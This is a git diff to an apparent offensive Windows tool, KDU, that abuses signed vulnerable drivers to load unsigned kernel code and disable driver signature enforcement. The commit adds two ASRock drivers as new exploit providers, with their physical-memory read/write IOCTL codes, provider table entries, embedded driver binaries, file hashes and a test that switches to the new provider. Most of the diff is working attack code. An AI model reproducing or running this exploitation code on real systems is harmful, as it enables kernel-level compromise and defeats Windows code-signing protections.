diff --git a/README.md b/README.md
index 44bcdee..b2dbd10 100644
--- a/README.md
+++ b/README.md
@@ -159,6 +159,8 @@ Note: Provider with Id 0 assumed as default if no -prv command is specified.
| 47 | EVGA | EleetX1| EVGA ELEET X1 | 1.0.16.0 and below | |
| 48 | ASRock | AxtuDrv | AsRock Extreme Tuner | Undefined | |
| 49 | ASRock | AppShopDrv103 | ASRock APP Shop | 1.0.58 and below | |
+| 50 | ASRock | AsrDrv107n | ASRock Motherboard Utility | 3.0.498 and below | |
+| 51 | ASRock | AsrDrv107 | ASRock Motherboard Utility | 3.0.498 and below | |
MSFT blacklist types:
* Cert - by certificate used to sign the driver which makes it possible to ban huge number of files at one time.
@@ -218,6 +220,8 @@ MSFT blacklist types:
|47|Original||**File(SHA1):** DA66B66DCA5EA8689DB903EC23E98F2C881DE6F8
**Authenticode(SHA1):** A8D16FED8999033126D60C656A3BA359DFAA559F
**Page(SHA1):** 082FBFF03465F78276D5A2066398A9D3C73DB9AB
**Page(SHA256):** F677A9447400EAEE6E12A88F59AAADCF6DDF8F16EC8F7612BF50AB378A9B9012|
|48|RWEverything||**File(SHA1):** 3F6A997B04D2299BA0E9F505803E8D60D0755F44
**Authenticode(SHA1):** E7FAC017B371A43276E03BF5F71D437E8D377930
**Page(SHA1):** EE9A5A98C257F2D50030B7F3AB6D7DA805FCC150
**Page(SHA256):** D159D969E05C83F27F446BCC5F171A0043CC3DF0B518962CEE7ACBE30BCC02F8|
|49|RWEverything||**File(SHA1):** 6074C2360F5DC74738873A525DFBD67EB6625986
**Authenticode(SHA1):** 03C523F31603C460076AD549F985DD9533734E95
**Page(SHA1):** 85B6FC43E943C9EB9B3DE1FF82A56870620CC1CF
**Page(SHA256):** A3AF7747FAC60B814FA6717B174F1199B9D163081B55AE40CEDD9983B6D033F5|
+|50|RWEverything||**File(SHA1):** 11D7E0D29AB17292FD43BDD5CCB7DA0403E50E52
**Authenticode(SHA1):** CA06D9FD91F7B681204B35975D5C069D0DABE276
**Page(SHA1):** B7693E1170B01F24A824892607C2258CA653805A
**Page(SHA256):** B8776F6889CF3D8252F0912DD9745F8EFF4513292DF2B2B1D484CDBC68FBAE4C|
+|51|RWEverything||**File(SHA1):** B1FAD5DA173C6A603FFFE20E0CB5F0BDCA823BD5
**Authenticode(SHA1):** 268073AD0B17E2161C1A2A6C5B1BDEBB7B3011B4
**Page(SHA1):** 0B48F35DAF8B8BC9BA4E413EF222415EAB791AE0
**Page(SHA256):** B073907634013A8EB65E4C8AA42535BAD08101E58B7B1489AEE395B7BE9C69E2|
###### *At commit time, data maybe inaccurate.
diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user
index 64d6898..f99e547 100644
--- a/Source/Hamakaze/KDU.vcxproj.user
+++ b/Source/Hamakaze/KDU.vcxproj.user
@@ -5,7 +5,7 @@
WindowsLocalDebugger
- -prv 49 -map c:\install\dummy.sys
+ -prv 48 -map c:\install\dummy.sys
WindowsLocalDebugger
\ No newline at end of file
diff --git a/Source/Hamakaze/idrv/asrdrv.cpp b/Source/Hamakaze/idrv/asrdrv.cpp
index 92def7a..6562d8c 100644
--- a/Source/Hamakaze/idrv/asrdrv.cpp
+++ b/Source/Hamakaze/idrv/asrdrv.cpp
@@ -27,6 +27,9 @@
#define ASROCK_AES_KEY "C110DD4FE9434147B92A5A1E3FDBF29A"
#define ASROCK_AES_KEY_LENGTH sizeof(ASROCK_AES_KEY) - sizeof(CHAR)
+ULONG g_AsrReadPhysIOCTL;
+ULONG g_AsrWritePhysIOCTL;
+
/*
* AsrEncryptDriverRequest
*
@@ -268,6 +271,9 @@ BOOL WINAPI AsrWritePhysicalMemory(
&args);
}
+
+
+
/*
* RweReadPhysicalMemory
*
@@ -301,7 +307,7 @@ BOOL WINAPI RweReadPhysicalMemory(
request.Granularity = AsrGranularityDword;
if (supCallDriver(DeviceHandle,
- IOCTL_RWDRV_READ_MEMORY,
+ g_AsrReadPhysIOCTL,
&request,
sizeof(request),
&request,
@@ -339,9 +345,39 @@ BOOL WINAPI RweWritePhysicalMemory(
request.Data = (PBYTE)Buffer;
return supCallDriver(DeviceHandle,
- IOCTL_RWDRV_WRITE_MEMORY,
+ g_AsrWritePhysIOCTL,
&request,
sizeof(request),
&request,
sizeof(request));
}
+
+/*
+* AsrRegisterDriver
+*
+* Purpose:
+*
+* Register AsRock driver.
+*
+*/
+BOOL WINAPI AsrRegisterDriver(
+ _In_ HANDLE DeviceHandle,
+ _In_opt_ PVOID Param)
+{
+ ULONG DriverId = PtrToUlong(Param);
+
+ UNREFERENCED_PARAMETER(DeviceHandle);
+
+ g_AsrReadPhysIOCTL = IOCTL_RWDRV_READ_MEMORY;
+ g_AsrWritePhysIOCTL = IOCTL_RWDRV_WRITE_MEMORY;
+
+ switch (DriverId) {
+
+ case IDR_ASROCKDRV3:
+ g_AsrReadPhysIOCTL = IOCTL_RWDRV_READ_MEMORY_7N;
+ g_AsrWritePhysIOCTL = IOCTL_RWDRV_WRITE_MEMORY_7N;
+ break;
+ }
+
+ return TRUE;
+}
diff --git a/Source/Hamakaze/idrv/asrdrv.h b/Source/Hamakaze/idrv/asrdrv.h
index ea81c32..a96ce8c 100644
--- a/Source/Hamakaze/idrv/asrdrv.h
+++ b/Source/Hamakaze/idrv/asrdrv.h
@@ -6,7 +6,7 @@
*
* VERSION: 1.41
*
-* DATE: 10 Dec 2023
+* DATE: 11 Dec 2023
*
* ASRock driver interface header.
*
@@ -38,6 +38,13 @@
#define IOCTL_RWDRV_WRITE_MEMORY \
CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_WRITE_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x0022280C
+#define IOCTL_RWDRV_READ_MEMORY_7N \
+ CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_READ_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) //0x0022E808
+
+#define IOCTL_RWDRV_WRITE_MEMORY_7N \
+ CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_WRITE_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) //0x0022E80C
+
+
//
// Based on CVE-2020-15368
//
@@ -109,3 +116,7 @@ BOOL WINAPI RweWritePhysicalMemory(
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes);
+
+BOOL WINAPI AsrRegisterDriver(
+ _In_ HANDLE DeviceHandle,
+ _In_opt_ PVOID Param);
diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h
index b371a36..c3e4b12 100644
--- a/Source/Hamakaze/kduplist.h
+++ b/Source/Hamakaze/kduplist.h
@@ -1339,6 +1339,32 @@ static KDU_PROVIDER g_KDUProviders[] =
(provOpenProcess)NULL
},
+ {
+ NULL,
+
+ (provStartVulnerableDriver)KDUProvStartVulnerableDriver,
+ (provStopVulnerableDriver)KDUProvStopVulnerableDriver,
+
+ (provRegisterDriver)AsrRegisterDriver,
+ (provUnregisterDriver)NULL,
+ (provPreOpenDriver)NULL,
+ (provPostOpenDriver)KDUProviderPostOpen,
+ (provMapDriver)KDUMapDriver,
+ (provControlDSE)KDUControlDSE2,
+
+ (provReadKernelVM)NULL,
+ (provWriteKernelVM)NULL,
+
+ (provVirtualToPhysical)NULL,
+ (provQueryPML4)NULL,
+ (provReadPhysicalMemory)RweReadPhysicalMemory,
+ (provWritePhysicalMemory)RweWritePhysicalMemory,
+
+ (provValidatePrerequisites)NULL,
+
+ (provOpenProcess)NULL
+ },
+
{
NULL,
@@ -1355,6 +1381,33 @@ static KDU_PROVIDER g_KDUProviders[] =
(provReadKernelVM)NULL,
(provWriteKernelVM)NULL,
+ (provVirtualToPhysical)NULL,
+ (provQueryPML4)NULL,
+ (provReadPhysicalMemory)AsrReadPhysicalMemory,
+ (provWritePhysicalMemory)AsrWritePhysicalMemory,
+
+ (provValidatePrerequisites)NULL,
+
+ (provOpenProcess)NULL
+ },
+
+
+ {
+ NULL,
+
+ (provStartVulnerableDriver)KDUProvStartVulnerableDriver,
+ (provStopVulnerableDriver)KDUProvStopVulnerableDriver,
+
+ (provRegisterDriver)AsrRegisterDriver,
+ (provUnregisterDriver)NULL,
+ (provPreOpenDriver)NULL,
+ (provPostOpenDriver)KDUProviderPostOpen,
+ (provMapDriver)KDUMapDriver,
+ (provControlDSE)KDUControlDSE2,
+
+ (provReadKernelVM)NULL,
+ (provWriteKernelVM)NULL,
+
(provVirtualToPhysical)NULL,
(provQueryPML4)NULL,
(provReadPhysicalMemory)RweReadPhysicalMemory,
@@ -1365,6 +1418,7 @@ static KDU_PROVIDER g_KDUProviders[] =
(provOpenProcess)NULL
},
+
{
NULL,
diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp
index 94754e8..c1b68c4 100644
--- a/Source/Hamakaze/tests.cpp
+++ b/Source/Hamakaze/tests.cpp
@@ -188,7 +188,7 @@ VOID KDUTest()
// KDUTestLoad();
// TestSymbols();
- Context = KDUProviderCreate(48,
+ Context = KDUProviderCreate(50,
FALSE,
NT_WIN10_20H1,
KDU_SHELLCODE_V1,
diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj
index 1920942..1244cfe 100644
--- a/Source/Tanikaze/Tanikaze.vcxproj
+++ b/Source/Tanikaze/Tanikaze.vcxproj
@@ -192,6 +192,8 @@
+
+
diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters
index ad5a400..8ae8135 100644
--- a/Source/Tanikaze/Tanikaze.vcxproj.filters
+++ b/Source/Tanikaze/Tanikaze.vcxproj.filters
@@ -211,6 +211,12 @@
Resource Files
+
+ Resource Files
+
+
+ Resource Files
+
diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin
index 08318e0..d5f0fe4 100644
Binary files a/Source/Tanikaze/data/AsusCertService.bin and b/Source/Tanikaze/data/AsusCertService.bin differ
diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin
index 1d261a8..7dc46a1 100644
Binary files a/Source/Tanikaze/data/KMUEXE.bin and b/Source/Tanikaze/data/KMUEXE.bin differ
diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin
index e5a059e..b7396d0 100644
--- a/Source/Tanikaze/data/KMUSIG.bin
+++ b/Source/Tanikaze/data/KMUSIG.bin
@@ -1,2 +1,2 @@
-7jz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi
+7RMz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi
mV?SH/08H
]
\ No newline at end of file
diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin
index 9592bb3..e462787 100644
Binary files a/Source/Tanikaze/data/dbutilcat.bin and b/Source/Tanikaze/data/dbutilcat.bin differ
diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin
index 5f240a5..4baa41e 100644
Binary files a/Source/Tanikaze/data/dbutilinf.bin and b/Source/Tanikaze/data/dbutilinf.bin differ
diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin
index 5045c4a..d51264b 100644
Binary files a/Source/Tanikaze/drv/ALSysIO64.bin and b/Source/Tanikaze/drv/ALSysIO64.bin differ
diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin
index 9169612..6dd6fed 100644
Binary files a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin and b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin differ
diff --git a/Source/Tanikaze/drv/AODDriver215.bin b/Source/Tanikaze/drv/AODDriver215.bin
index 306a521..7e6984e 100644
Binary files a/Source/Tanikaze/drv/AODDriver215.bin and b/Source/Tanikaze/drv/AODDriver215.bin differ
diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin
index 69a5b24..db0d494 100644
Binary files a/Source/Tanikaze/drv/ATSZIO64.bin and b/Source/Tanikaze/drv/ATSZIO64.bin differ
diff --git a/Source/Tanikaze/drv/AppShopDrv103.bin b/Source/Tanikaze/drv/AppShopDrv103.bin
index f15d92a..18ac56f 100644
Binary files a/Source/Tanikaze/drv/AppShopDrv103.bin and b/Source/Tanikaze/drv/AppShopDrv103.bin differ
diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin
index ef49fa0..4f6abfb 100644
Binary files a/Source/Tanikaze/drv/AsIO3.bin and b/Source/Tanikaze/drv/AsIO3.bin differ
diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin
index c4403d6..e05785c 100644
Binary files a/Source/Tanikaze/drv/AsrDrv106.bin and b/Source/Tanikaze/drv/AsrDrv106.bin differ
diff --git a/Source/Tanikaze/drv/AsrDrv107.bin b/Source/Tanikaze/drv/AsrDrv107.bin
new file mode 100644
index 0000000..d3150ae
Binary files /dev/null and b/Source/Tanikaze/drv/AsrDrv107.bin differ
diff --git a/Source/Tanikaze/drv/AsrDrv107n.bin b/Source/Tanikaze/drv/AsrDrv107n.bin
new file mode 100644
index 0000000..d689159
Binary files /dev/null and b/Source/Tanikaze/drv/AsrDrv107n.bin differ
diff --git a/Source/Tanikaze/drv/AxtuDrv.bin b/Source/Tanikaze/drv/AxtuDrv.bin
index 0a8b789..fe39ba3 100644
Binary files a/Source/Tanikaze/drv/AxtuDrv.bin and b/Source/Tanikaze/drv/AxtuDrv.bin differ
diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin
index a7a2b4e..c85223c 100644
Binary files a/Source/Tanikaze/drv/DbUtil2_3.bin and b/Source/Tanikaze/drv/DbUtil2_3.bin differ
diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin
index 0e882d9..38c24bc 100644
Binary files a/Source/Tanikaze/drv/DirectIo64.bin and b/Source/Tanikaze/drv/DirectIo64.bin differ
diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin
index 4df8395..e694a75 100644
Binary files a/Source/Tanikaze/drv/DirectIo64_2.bin and b/Source/Tanikaze/drv/DirectIo64_2.bin differ
diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin
index e4f23ac..a7fe15b 100644
Binary files a/Source/Tanikaze/drv/EneIo64.bin and b/Source/Tanikaze/drv/EneIo64.bin differ
diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin
index c206aca..9d7b3eb 100644
Binary files a/Source/Tanikaze/drv/EneTechIo64.bin and b/Source/Tanikaze/drv/EneTechIo64.bin differ
diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin
index e57156c..ee1dee1 100644
Binary files a/Source/Tanikaze/drv/GLCKIO2.bin and b/Source/Tanikaze/drv/GLCKIO2.bin differ
diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin
index d2be1b6..6786911 100644
Binary files a/Source/Tanikaze/drv/HW64.bin and b/Source/Tanikaze/drv/HW64.bin differ
diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin
index 8797880..4841de7 100644
Binary files a/Source/Tanikaze/drv/KExplore.bin and b/Source/Tanikaze/drv/KExplore.bin differ
diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin
index 0036be7..cb87a47 100644
Binary files a/Source/Tanikaze/drv/KObjExp.bin and b/Source/Tanikaze/drv/KObjExp.bin differ
diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin
index a786a12..e1c577d 100644
Binary files a/Source/Tanikaze/drv/KRegExp.bin and b/Source/Tanikaze/drv/KRegExp.bin differ
diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin
index c5bbcbc..a9d13f1 100644
Binary files a/Source/Tanikaze/drv/LDD.bin and b/Source/Tanikaze/drv/LDD.bin differ
diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin
index 228af25..15b0f6a 100644
Binary files a/Source/Tanikaze/drv/MsIo64.bin and b/Source/Tanikaze/drv/MsIo64.bin differ
diff --git a/Source/Tanikaze/drv/PdFwKrnl.bin b/Source/Tanikaze/drv/PdFwKrnl.bin
index db683be..04c9705 100644
Binary files a/Source/Tanikaze/drv/PdFwKrnl.bin and b/Source/Tanikaze/drv/PdFwKrnl.bin differ
diff --git a/Source/Tanikaze/drv/PhyDMACC.bin b/Source/Tanikaze/drv/PhyDMACC.bin
index b7fc273..ecb3b61 100644
Binary files a/Source/Tanikaze/drv/PhyDMACC.bin and b/Source/Tanikaze/drv/PhyDMACC.bin differ
diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin
index 025cf66..a528543 100644
Binary files a/Source/Tanikaze/drv/Phymemx64.bin and b/Source/Tanikaze/drv/Phymemx64.bin differ
diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin
index f3c7d6d..00ff7e3 100644
Binary files a/Source/Tanikaze/drv/RTCore64.bin and b/Source/Tanikaze/drv/RTCore64.bin differ
diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin
index aadac56..1c1e85e 100644
Binary files a/Source/Tanikaze/drv/SysDrv3S.bin and b/Source/Tanikaze/drv/SysDrv3S.bin differ
diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin
index 84a3db8..8897a06 100644
Binary files a/Source/Tanikaze/drv/WinRing0x64.bin and b/Source/Tanikaze/drv/WinRing0x64.bin differ
diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin
index ffd5d56..16f88f4 100644
Binary files a/Source/Tanikaze/drv/amsdk.bin and b/Source/Tanikaze/drv/amsdk.bin differ
diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin
index 756d602..1e692bf 100644
Binary files a/Source/Tanikaze/drv/asio2.bin and b/Source/Tanikaze/drv/asio2.bin differ
diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin
index 6174c2d..81e039c 100644
Binary files a/Source/Tanikaze/drv/dbk64.bin and b/Source/Tanikaze/drv/dbk64.bin differ
diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin
index 694b471..e99d011 100644
Binary files a/Source/Tanikaze/drv/dbutildrv2.bin and b/Source/Tanikaze/drv/dbutildrv2.bin differ
diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin
index 2187204..40c7ec4 100644
Binary files a/Source/Tanikaze/drv/echo_driver.bin and b/Source/Tanikaze/drv/echo_driver.bin differ
diff --git a/Source/Tanikaze/drv/eleetx1.bin b/Source/Tanikaze/drv/eleetx1.bin
index f5f1cda..1a010ae 100644
Binary files a/Source/Tanikaze/drv/eleetx1.bin and b/Source/Tanikaze/drv/eleetx1.bin differ
diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin
index 90ac68b..cee572e 100644
Binary files a/Source/Tanikaze/drv/ene2.bin and b/Source/Tanikaze/drv/ene2.bin differ
diff --git a/Source/Tanikaze/drv/etdsupp.bin b/Source/Tanikaze/drv/etdsupp.bin
index b64e948..5d0915c 100644
Binary files a/Source/Tanikaze/drv/etdsupp.bin and b/Source/Tanikaze/drv/etdsupp.bin differ
diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin
index 56a5fcc..d3012cb 100644
Binary files a/Source/Tanikaze/drv/gdrv.bin and b/Source/Tanikaze/drv/gdrv.bin differ
diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin
index 7555a00..f869bf1 100644
Binary files a/Source/Tanikaze/drv/gmerdrv.bin and b/Source/Tanikaze/drv/gmerdrv.bin differ
diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin
index 32ed3f8..b529229 100644
Binary files a/Source/Tanikaze/drv/heavenluo.bin and b/Source/Tanikaze/drv/heavenluo.bin differ
diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin
index 01b33f6..b2e5f3e 100644
Binary files a/Source/Tanikaze/drv/iQVM64.bin and b/Source/Tanikaze/drv/iQVM64.bin differ
diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin
index b753b38..7367a19 100644
Binary files a/Source/Tanikaze/drv/inpoutx64.bin and b/Source/Tanikaze/drv/inpoutx64.bin differ
diff --git a/Source/Tanikaze/drv/irec.bin b/Source/Tanikaze/drv/irec.bin
index 11e7c6f..f356430 100644
Binary files a/Source/Tanikaze/drv/irec.bin and b/Source/Tanikaze/drv/irec.bin differ
diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin
index 207776f..d15c549 100644
Binary files a/Source/Tanikaze/drv/kprocesshacker.bin and b/Source/Tanikaze/drv/kprocesshacker.bin differ
diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin
index 2da21b8..f8fddfe 100644
Binary files a/Source/Tanikaze/drv/lha.bin and b/Source/Tanikaze/drv/lha.bin differ
diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin
index 162f2f8..80733c5 100644
Binary files a/Source/Tanikaze/drv/mimidrv.bin and b/Source/Tanikaze/drv/mimidrv.bin differ
diff --git a/Source/Tanikaze/drv/nvoclock.bin b/Source/Tanikaze/drv/nvoclock.bin
index e0345d8..edf1f85 100644
Binary files a/Source/Tanikaze/drv/nvoclock.bin and b/Source/Tanikaze/drv/nvoclock.bin differ
diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin
index f13bae9..f214e02 100644
Binary files a/Source/Tanikaze/drv/pcdsrvc_x64.bin and b/Source/Tanikaze/drv/pcdsrvc_x64.bin differ
diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin
index 0171421..f866db8 100644
Binary files a/Source/Tanikaze/drv/physmem.bin and b/Source/Tanikaze/drv/physmem.bin differ
diff --git a/Source/Tanikaze/drv/procexp1627.bin b/Source/Tanikaze/drv/procexp1627.bin
index 13420a1..664c82a 100644
Binary files a/Source/Tanikaze/drv/procexp1627.bin and b/Source/Tanikaze/drv/procexp1627.bin differ
diff --git a/Source/Tanikaze/drv/procexp1702.bin b/Source/Tanikaze/drv/procexp1702.bin
index d1ec3e6..0c3cc27 100644
Binary files a/Source/Tanikaze/drv/procexp1702.bin and b/Source/Tanikaze/drv/procexp1702.bin differ
diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin
index b9ff056..74dfdbc 100644
Binary files a/Source/Tanikaze/drv/rtkio64.bin and b/Source/Tanikaze/drv/rtkio64.bin differ
diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin
index 936bbef..3bfd0da 100644
Binary files a/Source/Tanikaze/drv/rzpnk.bin and b/Source/Tanikaze/drv/rzpnk.bin differ
diff --git a/Source/Tanikaze/drv/wnBios64.bin b/Source/Tanikaze/drv/wnBios64.bin
index 4400f5e..09dd21d 100644
Binary files a/Source/Tanikaze/drv/wnBios64.bin and b/Source/Tanikaze/drv/wnBios64.bin differ
diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h
index bdd87a9..e4abe2b 100644
--- a/Source/Tanikaze/resource.h
+++ b/Source/Tanikaze/resource.h
@@ -51,6 +51,9 @@
#define IDR_EVGA_ELEETX1 149
#define IDR_ASROCKDRV2 150
#define IDR_ASROCKAPPSHOP103 151
+#define IDR_ASROCKDRV3 152
+#define IDR_RCDATA1 153
+#define IDR_ASROCKDRV4 153
#define IDR_DATA_DBUTILCAT 1000
#define IDR_DATA_DBUTILINF 1001
#define IDR_DATA_KMUEXE 1002
@@ -63,7 +66,7 @@
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 152
+#define _APS_NEXT_RESOURCE_VALUE 154
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1007
#define _APS_NEXT_SYMED_VALUE 101
diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc
index 72a172b..e785316 100644
--- a/Source/Tanikaze/resource.rc
+++ b/Source/Tanikaze/resource.rc
@@ -162,6 +162,10 @@ IDR_ASROCKDRV2 RCDATA "drv\\AxtuDrv.bin"
IDR_ASROCKAPPSHOP103 RCDATA "drv\\AppShopDrv103.bin"
+IDR_ASROCKDRV3 RCDATA "drv\\AsrDrv107n.bin"
+
+IDR_ASROCKDRV4 RCDATA "drv\\AsrDrv107.bin"
+
/////////////////////////////////////////////////////////////////////////////
//
diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h
index 21bdea3..0651e9d 100644
--- a/Source/Tanikaze/tanikaze.h
+++ b/Source/Tanikaze/tanikaze.h
@@ -773,6 +773,36 @@ KDU_DB_ENTRY gProvEntry[] = {
(LPWSTR)L"AppShopDrv103",
(LPWSTR)L"AppShopDrv103",
(LPWSTR)L"ASROCK Incorporation"
+ },
+
+ {
+ KDU_MIN_NTBUILDNUMBER,
+ KDU_MAX_NTBUILDNUMBER,
+ IDR_ASROCKDRV3,
+ KDU_PROVIDER_ASROCK4,
+ KDU_VICTIM_DEFAULT,
+ SourceBaseRWEverything,
+ KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE,
+ KDUPROV_SC_ALL_DEFAULT,
+ (LPWSTR)L"ASRock IO Driver",
+ (LPWSTR)L"AsrDrv107n",
+ (LPWSTR)L"AsrDrv107n",
+ (LPWSTR)L"ASROCK INC."
+ },
+
+ {
+ KDU_MIN_NTBUILDNUMBER,
+ KDU_MAX_NTBUILDNUMBER,
+ IDR_ASROCKDRV4,
+ KDU_PROVIDER_ASROCK5,
+ KDU_VICTIM_DEFAULT,
+ SourceBaseRWEverything,
+ KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE,
+ KDUPROV_SC_ALL_DEFAULT,
+ (LPWSTR)L"ASRock IO Driver",
+ (LPWSTR)L"AsrDrv107",
+ (LPWSTR)L"AsrDrv107",
+ (LPWSTR)L"ASROCK INC."
}
};